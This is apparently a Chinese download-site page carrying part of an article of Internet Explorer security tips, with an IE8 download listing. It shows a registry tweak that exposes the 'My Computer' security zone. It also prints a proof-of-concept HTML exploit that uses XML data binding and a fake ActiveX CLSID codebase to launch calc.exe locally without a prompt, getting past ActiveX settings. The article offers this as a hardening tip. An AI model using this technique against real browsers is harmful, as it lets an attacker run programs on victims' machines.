圖一 IE防黑技巧十則，讓你綠色上網(wǎng)更安全《四》

進(jìn)入下載

Internet Explorer 8.0 XP 8.0 官方中文版...
大小：16.11 MB
日期：2019/9/7 15:34:16
環(huán)境：WinXP,

核心提示：針對(duì)IE的惡意修改、攻擊方法非常多，本文中介紹的十種反黑技巧，一定會(huì)對(duì)你有所幫助。

針對(duì)IE的惡意修改、攻擊方法非常多，本文中介紹的十種反黑技巧，一定會(huì)對(duì)你有所幫助。

下面是具體的方法：打開(kāi)“開(kāi)始”菜單中的“運(yùn)行”，在彈出的“運(yùn)行”對(duì)話框中輸入Regedit.exe，打開(kāi)注冊(cè)表編輯器，點(diǎn)擊前面的“+”號(hào)順次展開(kāi)到：HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settingsones，在右邊窗口中找到DWord值“Flags”，默認(rèn)鍵值為十六進(jìn)制的21（十進(jìn)制33），雙擊“Flags”，在彈出的對(duì)話框中將它的鍵值改為“1”即可，關(guān)閉注冊(cè)表編輯器。無(wú)需重新啟動(dòng)電腦，重新打開(kāi)IE，再次點(diǎn)擊“工具→Internet選項(xiàng)→安全”標(biāo)簽，你就會(huì)看到多了一個(gè)“我的電腦”圖標(biāo)，在這里你可以對(duì)IE的本地安全進(jìn)行配置。

圖二 IE防黑技巧十則，讓你綠色上網(wǎng)更安全《四》

這個(gè)小技巧有什么用呢？把下面的代碼保存為一個(gè)html文件，然后運(yùn)行試試就知道了：

注意：請(qǐng)把<；替換為向左的尖括號(hào)，把>；替換為向右的尖括號(hào)。

<；span datasrc=\"#oExec\" datafld=\"exploit\" dataformatas=\"html">；<；/span>；

<；xml id=\"oExec\">；

<；security>；

<；exploit>；

<；！[CDATA[

<；object id=\"oFile\"

classid=\"clsid：88888888-8888-8888-8888-888888888888"

codebase=\"c：/winnt/system32/calc.exe">；<；/object>；

]]>；

<；/exploit>；

<；/security>；

<；/xml>；

運(yùn)行上面的html文件，會(huì)打開(kāi)你的計(jì)算機(jī)中c：/winnt/system32文件夾下的calc.exe文件！而且IE沒(méi)有任何提示！即使在IE的安全設(shè)置中禁用ActiveX控件上述代碼也能工作！如果不是calc.exe文件而是其他惡意文件又會(huì)怎么樣？如果是在你瀏覽的網(wǎng)頁(yè)中含有類似上面的代碼又會(huì)怎么樣？真危險(xiǎn)啊！

圖三 IE防黑技巧十則，讓你綠色上網(wǎng)更安全《四》

之所以會(huì)這樣是由于IE存在兩個(gè)可怕的漏洞：可本地執(zhí)行任意命令，IE的ActiveX安全設(shè)置可被繞過(guò)。在上述代碼中我們給IE指定了一個(gè)系統(tǒng)中并不存在的控件號(hào)（\"clsid：88888888-8888-8888-8888-888888888888），IE會(huì)試圖從codebase指定的地址去下載并安裝改控件。根據(jù)codebase于是IE找到了c：/winnt/system32/calc.exe，接著IE開(kāi)始“下載”并安裝該程序。由于calc.exe是EXE文件，這樣就等于是在運(yùn)行該文件，所以calc.exe就被運(yùn)行了！

Internet Explorer 8.0 XP 8.0 官方中文版

• 軟件性質(zhì)：國(guó)外軟件
• 授權(quán)方式：免費(fèi)版
• 軟件語(yǔ)言：簡(jiǎn)體中文
• 軟件大小：16499 KB
• 下載次數(shù)：15860 次
• 更新時(shí)間：2019/9/7 8:21:48
• 運(yùn)行平臺(tái)：WinXP,...
• 軟件描述：IE8(Internet Explorer 8)是一款優(yōu)秀的多標(biāo)簽網(wǎng)頁(yè)瀏覽器，由... [立即下載]